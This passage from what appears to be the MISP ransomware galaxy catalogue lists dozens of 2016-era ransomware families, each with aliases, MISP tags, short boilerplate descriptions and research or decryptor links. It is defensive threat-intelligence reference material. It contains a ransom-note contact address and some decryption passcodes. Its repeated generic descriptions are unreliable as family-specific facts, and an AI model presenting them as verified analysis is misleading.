The tag is: *misp-galaxy:ransomware="SQ* Ransomware"_

SQ_ Ransomware is also known as:

- VO_ Ransomware

Table 5960. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/sq-vo-ransomware.html

Matrix

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc…

The tag is: *misp-galaxy:ransomware="Matrix"*

Matrix is also known as:

- Malta Ransomware
- Matrix Ransomware

Table 5961. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-2nd-2016-screenlockers-kangaroo-the-sfmta-and-more/
https://id-ransomware.blogspot.co.il/2016/12/matrix-ransomware.html
https://twitter.com/rommeljoven17/status/804251901529231360
https://www.bleepingcomputer.com/news/security/new-matrix-ransomware-variants-installed-via-hacked-remote-desktop-services/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/
https://twitter.com/demonslay335/status/1034212374805278720
https://www.bleepingcomputer.com/news/security/new-fox-ransomware-matrix-variant-tries-its-best-to-close-all-file-handles/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-12th-2018-notpetya-gandcrab-and-more/
https://twitter.com/demonslay335/status/1049314118409306112
https://twitter.com/demonslay335/status/1050118985210048512
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-september-14th-2018-kraken-dharma-and-matrix/

https://twitter.com/demonslay335/status/1039907030570598400

Satan666 Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Satan666 Ransomware"*

Table 5962. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/satan666-ransomware.html

RIP (Phoenix) Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear

The tag is: *misp-galaxy:ransomware="RIP (Phoenix) Ransomware"*

RIP (Phoenix) Ransomware is also known as:

- RIP
- Phoenix

Table 5963. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/rip-ransomware.html
https://twitter.com/BleepinComputer/status/804810315456200704

Locked-In Ransomware or NoValid Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on RemindMe

The tag is: *misp-galaxy:ransomware="Locked-In Ransomware or NoValid Ransomware"*

Locked-In Ransomware or NoValid Ransomware is also known as:

- Locked-In Ransomware
- NoValid Ransomware

Table 5964. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/novalid-ransomware.html
https://www.bleepingcomputer.com/forums/t/634754/locked-in-ransomware-help-support-restore-corupted-fileshtml/
https://twitter.com/struppigel/status/807169774098796544

Chartwig Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Chartwig Ransomware"*

Table 5965. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/chartwig-ransomware.html

RenLocker Ransomware (FAKE)

It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The files don’t actually get encrypted, their names get changed using this formula: [number][.crypter]

The tag is: *misp-galaxy:ransomware="RenLocker Ransomware (FAKE)"*

Table 5966. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/renlocker-ransomware.html

Thanksgiving Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Thanksgiving Ransomware"*

Table 5967. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/thanksgiving-ransomware.html
https://id-ransomware.blogspot.co.il/2016/07/stampado-ransomware-1.html
https://twitter.com/BleepinComputer/status/801486420368093184

CockBlocker Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="CockBlocker Ransomware"*

Table 5968. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/cockblocker-ransomware.html
https://twitter.com/jiriatvirlab/status/801910919739674624

Lomix Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on the idiotic open-source ransomware called CryptoWire

The tag is: *misp-galaxy:ransomware="Lomix Ransomware"*

Table 5969. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/lomix-ransomware.html
https://twitter.com/siri_urz/status/801815087082274816

OzozaLocker Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. https://3.bp.blogspot.com/--jubfYRaRmw/WDaOyZXkAaI/AAAAAAAACQE/E63a4FnaOfACZ07s1xUiv_haxy8cp5YCACLcB/s1600/ozoza2.png

The tag is: *misp-galaxy:ransomware="OzozaLocker Ransomware"*

Table 5970. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/ozozalocker-ransomware.html
https://decrypter.emsisoft.com/ozozalocker
https://twitter.com/malwrhunterteam/status/801503401867673603

Crypute Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Crypute Ransomware"*

Crypute Ransomware is also known as:

- m0on Ransomware

Table 5971. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/crypute-ransomware-m0on.html
https://www.bleepingcomputer.com/virus-removal/threat/ransomware/

NMoreira Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="NMoreira Ransomware"*

NMoreira Ransomware is also known as:

- Fake Maktub Ransomware

Table 5972. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/nmoreira-ransomware.html
https://id-ransomware.blogspot.co.il/2016/10/airacrop-ransomware.html

VindowsLocker Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom amount is 349.99$ and the hacker seems to be from India. He disguises himself as Microsoft Support.

The tag is: *misp-galaxy:ransomware="VindowsLocker Ransomware"*

Table 5973. Table References

Links

https://id-ransomware.blogspot.co.il/2016/11/vindowslocker-ransomware.html
https://malwarebytes.app.box.com/s/gdu18hr17mwqszj3hjw5m3sw84k8hlph
https://rol.im/VindowsUnlocker.zip
https://twitter.com/JakubKroustek/status/800729944112427008
https://www.bleepingcomputer.com/news/security/vindowslocker-ransomware-mimics-tech-support-scam-not-the-other-way-around/

Donald Trump 2 Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Here is the original ransomware under this name: http://id-ransomware.blogspot.co.il/2016/09/donald-trump-ransomware.html

The tag is: *misp-galaxy:ransomware="Donald Trump 2 Ransomware"*

Table 5974. Table References

Links
http://id-ransomware.blogspot.co.il/2016/09/donald-trump-ransomware.html
https://www.bleepingcomputer.com/news/security/the-donald-trump-ransomware-tries-to-build-walls-around-your-files/

Nagini Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Looks for C:\Temp\voldemort.horcrux

The tag is: *misp-galaxy:ransomware="Nagini Ransomware"*

Nagini Ransomware is also known as:

- Voldemort Ransomware

Table 5975. Table References

Links
http://id-ransomware.blogspot.co.il/2016/09/nagini-voldemort-ransomware.html
https://www.bleepingcomputer.com/news/security/the-nagini-ransomware-sics-voldemort-on-your-files/

ShellLocker Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="ShellLocker Ransomware"*

Table 5976. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/shelllocker-ransomware.html
https://twitter.com/JakubKroustek/status/799388289337671680

Chip Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Chip Ransomware"*

Chip Ransomware is also known as:

- ChipLocker Ransomware

Table 5977. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/chip-ransomware.html
http://malware-traffic-analysis.net/2016/11/17/index.html
https://www.bleepingcomputer.com/news/security/rig-e-exploit-kit-now-distributing-new-chip-ransomware/

Dharma Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. CrySiS > Dharma Note: ATTENTION! At the moment, your system is not protected. We can fix it and restore files. To restore the system write to this address: bitcoin143@india.com. CrySiS variant

The tag is: *misp-galaxy:ransomware="Dharma Ransomware"*

Table 5978. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/dharma-ransomware.html
https://www.bleepingcomputer.com/news/security/kaspersky-releases-decryptor-for-the-dharma-ransomware/

https://www.bleepingcomputer.com/news/security/new-cmb-dharma-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/new-bip-dharma-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-12th-2018-notpetya-gandcrab-and-more/
https://twitter.com/demonslay335/status/1049313390097813504
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-september-14th-2018-kraken-dharma-and-matrix/
https://twitter.com/JakubKroustek/status/1038680437508501504
https://twitter.com/demonslay335/status/1059521042383814657
https://twitter.com/demonslay335/status/1059940414147489792
https://twitter.com/JakubKroustek/status/1060825783197933568
https://twitter.com/JakubKroustek/status/1064061275863425025
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-23rd-2018-stop-dharma-and-more/
https://www.youtube.com/watch?v=qjoYtwLx2TI
https://twitter.com/GrujaRS/status/1072139616910757888

Angela Merkel Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Angela Merkel Ransomware"*

Table 5979. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/angela-merkel-ransomware.html
https://twitter.com/malwrhunterteam/status/798268218364358656

CryptoLuck Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="CryptoLuck Ransomware"*

CryptoLuck Ransomware is also known as:

- YafunnLocker

Table 5980. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/cryptoluck-ransomware.html
http://www.bleepingcomputer.com/news/security/cryptoluck-ransomware-being-malvertised-via-rig-e-exploit-kits/
https://twitter.com/malwareforme/status/798258032115322880

Crypton Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Crypton Ransomware"*

Crypton Ransomware is also known as:

- Nemesis
- X3M

Table 5981. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/crypton-ransomware.html
https://decrypter.emsisoft.com/crypton
https://www.bleepingcomputer.com/news/security/crypton-ransomware-is-here-and-its-not-so-bad-/
https://twitter.com/JakubKroustek/status/829353444632825856

Karma Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. pretends to be a Windows optimization program called Windows-TuneUp

The tag is: *misp-galaxy:ransomware="Karma Ransomware"*

Table 5982. Table References

Links

https://id-ransomware.blogspot.co.il/2016/11/karma-ransomware.html
https://www.bleepingcomputer.com/news/security/researcher-finds-the-karma-ransomware-being-distributed-via-pay-per-install-network/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-18th-2016-crysis-cryptoluck-chip-and-more/

WickedLocker HT Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="WickedLocker HT Ransomware"*

Table 5983. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/wickedlocker-ht-ransomware.html

PClock3 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. CryptoLocker Copycat

The tag is: *misp-galaxy:ransomware="PClock3 Ransomware"*

PClock3 Ransomware is also known as:

- PClock SuppTeam Ransomware
- WinPlock
- CryptoLocker clone

Table 5984. Table References

Links
https://www.bleepingcomputer.com/news/security/old-cryptolocker-copycat-named-pclock-resurfaces-with-new-attacks/
https://id-ransomware.blogspot.co.il/2016/11/suppteam-ransomware-sysras.html
http://researchcenter.paloaltonetworks.com/2015/09/updated-pclock-ransomware-still-comes-up-short/
https://decrypter.emsisoft.com/

Kolobo Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Kolobo Ransomware"*

Kolobo Ransomware is also known as:

- Kolobocheg Ransomware

Table 5985. Table References

Links
https://www.ransomware.wiki/tag/kolobo/
https://id-ransomware.blogspot.co.il/2016/11/kolobo-ransomware.html
https://forum.drweb.com/index.php?showtopic=315142

PaySafeGen (German) Ransomware

This is most likely to affect German speaking users, since the note is written in German. Mostly affects users in German speaking countries. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="PaySafeGen (German) Ransomware"*

PaySafeGen (German) Ransomware is also known as:

- Paysafecard Generator 2016
- PaySafeCard
- PaySafeGen

Table 5986. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/paysafegen-german-ransomware.html
https://twitter.com/JakubKroustek/status/796083768155078656

Telecrypt Ransomware

This is most likely to affect Russian speaking users, since the note is written in Russian. Therefore, residents of Russian speaking country are affected. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransomware's authors would request around $75 from their victims to provide them with a decryptor (payments are accepted via Russian payment services Qiwi or Yandex.Money). Right from the start, however, researchers suggested that TeleCrypt was written by cybercriminals without advanced skills. Telecrypt will generate a random string to encrypt with that is between 10-20 length and only contain the letters vo,pr,bm,xu,zt,dq.

The tag is: *misp-galaxy:ransomware="Telecrypt Ransomware"*

Table 5987. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/telecrypt-ransomware.html
http://www.securityweek.com/telecrypt-ransomwares-encryption-cracked
https://malwarebytes.app.box.com/s/kkxwgzbpwe7oh59xqfwcz97uk0q05kp3
https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/
https://securelist.com/blog/research/76558/the-first-cryptor-to-exploit-telegram/

CerberTear Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="CerberTear Ransomware"*

Table 5988. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/cerbertear-ransomware.html
https://www.tripwire.com/state-of-security/security-data-protection/cyber-security/november-2016-month-ransomware/
https://twitter.com/struppigel/status/795630452128227333

FuckSociety Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Hidden Tear >> APT Ransomware + HYPERLINK "https://id-ransomware.blogspot.ru/2016/05/remindme-ransomware-2.html" "_blank" RemindMe > FuckSociety

The tag is: *misp-galaxy:ransomware="FuckSociety Ransomware"*

Table 5989. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/fucksociety-ransomware.html

PayDOS Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Batch file; Passcode: AES1014DW256 or RSA1014DJW2048

The tag is: *misp-galaxy:ransomware="PayDOS Ransomware"*

PayDOS Ransomware is also known as:

- Serpent Ransomware

Table 5990. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/paydos-ransomware-serpent.html
https://www.bleepingcomputer.com/news/security/ransomware-goes-retro-with-paydos-and-serpent-written-as-batch-files/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-4th-2016-cerber-paydos-alcatraz-locker-and-more/
https://www.proofpoint.com/us/threat-insight/post/new-serpent-ransomware-targets-danish-speakers

zScreenLocker Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="zScreenLocker Ransomware"*

Table 5991. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/zscreenlocker-ransomware.html
https://www.tripwire.com/state-of-security/security-data-protection/cyber-security/november-2016-month-ransomware/
https://twitter.com/struppigel/status/794077145349967872

Gremit Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Gremit Ransomware"*

Table 5992. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/gremit-ransomware.html
https://twitter.com/struppigel/status/794444032286060544
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-4th-2016-cerber-paydos-alcatraz-locker-and-more/

Hollycrypt Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Hollycrypt Ransomware"*

Table 5993. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/hollycrypt-ransomware.html

BTCLocker Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="BTCLocker Ransomware"*

BTCLocker Ransomware is also known as:

- BTC Ransomware

Table 5994. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/btclocker-ransomware.html

Kangaroo Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. From the developer behind the Apocalypse Ransomware, Fabiansomware, and Esmeralda

The tag is: *misp-galaxy:ransomware="Kangaroo Ransomware"*

Table 5995. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/kangaroo-ransomware.html
https://www.bleepingcomputer.com/news/security/the-kangaroo-ransomware-not-only-encrypts-your-data-but-tries-to-lock-you-out-of-windows/

DummyEncrypter Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="DummyEncrypter Ransomware"*

Table 5996. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/dummyencrypter-ransomware.html

Encryptss77 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Encryptss77 Ransomware"*

Encryptss77 Ransomware is also known as:

- SFX Monster Ransomware

Table 5997. Table References

Links
http://virusinfo.info/showthread.php?t=201710

https://id-ransomware.blogspot.co.il/2016/11/encryptss77-ransomware.html

WinRarer Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="WinRarer Ransomware"*

Table 5998. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/winrarer-ransomware.html

Russian Globe Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Russian Globe Ransomware"*

Table 5999. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/russian-globe-ransomware.html

ZeroCrypt Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="ZeroCrypt Ransomware"*

Table 6000. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/zerocrypt-ransomware.html

RotorCrypt(RotoCrypt, Tar) Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="RotorCrypt(RotoCrypt, Tar) Ransomware"*

RotorCrypt(RotoCrypt, Tar) Ransomware is also known as:

- RotorCrypt
- RotoCrypt
- Tar Ransomware

Table 6001. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/rotorcrypt-ransomware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-12th-2018-notpetya-gandcrab-and-more/
https://twitter.com/demonslay335/status/1050117756094476289

Ishtar Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.

The tag is: *misp-galaxy:ransomware="Ishtar Ransomware"*

Table 6002. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/ishtar-ransomware.html

MasterBuster Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="MasterBuster Ransomware"*

Table 6003. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/masterbuster-ransomware.html
https://twitter.com/struppigel/status/791943837874651136

JackPot Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="JackPot Ransomware"*

JackPot Ransomware is also known as:

- Jack.Pot Ransomware

Table 6004. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/jackpot-ransomware.html
https://twitter.com/struppigel/status/791639214152617985
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-28-2016-locky-angry-duck-and-more/

ONYX Ransomeware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Georgian ransomware

The tag is: *misp-galaxy:ransomware="ONYX Ransomeware"*

Table 6005. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/onyx-ransomware.html
https://twitter.com/struppigel/status/791557636164558848
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-28-2016-locky-angry-duck-and-more/

IFN643 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="IFN643 Ransomware"*

Table 6006. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/ifn643-ransomware.html
https://twitter.com/struppigel/status/791576159960072192
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-28-2016-locky-angry-duck-and-more/

Alcatraz Locker Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Alcatraz Locker Ransomware"*

Table 6007. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/alcatraz-locker-ransomware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-4th-2016-cerber-paydos-alcatraz-locker-and-more/
https://twitter.com/PolarToffee/status/792796055020642304

Esmeralda Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Esmeralda Ransomware"*

Table 6008. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/esmeralda-ransomware.html
https://www.bleepingcomputer.com/forums/t/630835/esmeralda-ransomware/

EncrypTile Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="EncrypTile Ransomware"*

Table 6009. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/encryptile-ransomware.html

Fileice Ransomware Survey Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Sample of how the hacker tricks the user using the survey method. https://1.bp.blogspot.com/-72ECd1vsUdE/WBMSzPQEgzI/AAAAAAAABzA/i8V-Kg8Gstcn_7-YZK__PDC2VgafWcfDgCLcB/s1600/survey-screen.png The hacker definatly has a sense of humor: https://1.bp.blogspot.com/-2AlvtcvdyUY/WBMVptG_V5I/AAAAAAAABzc/1KvAMeDmY2w9BN9vkqZO8LWkBu7T9mvDACLcB/s1600/ThxForYurTyme.JPG

The tag is: *misp-galaxy:ransomware="Fileice Ransomware Survey Ransomware"*

Table 6010. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/fileice-ransomware-survey.html
https://www.bleepingcomputer.com/news/security/in-dev-ransomware-forces-you-do-to-survey-before-unlocking-computer/

CryptoWire Ransomeware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="CryptoWire Ransomeware"*

Table 6011. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/cryptowire-ransomware.html
https://twitter.com/struppigel/status/791554654664552448
https://www.bleepingcomputer.com/news/security/-proof-of-concept-cryptowire-ransomware-spawns-lomix-and-ultralocker-families/

Hucky Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on Locky

The tag is: *misp-galaxy:ransomware="Hucky Ransomware"*

Hucky Ransomware is also known as:

- Hungarian Locky Ransomware

Table 6012. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/hucky-ransomware-hungarian-locky.html
https://blog.avast.com/hucky-ransomware-a-hungarian-locky-wannabe
https://twitter.com/struppigel/status/846241982347427840

Winnix Cryptor Ransomware

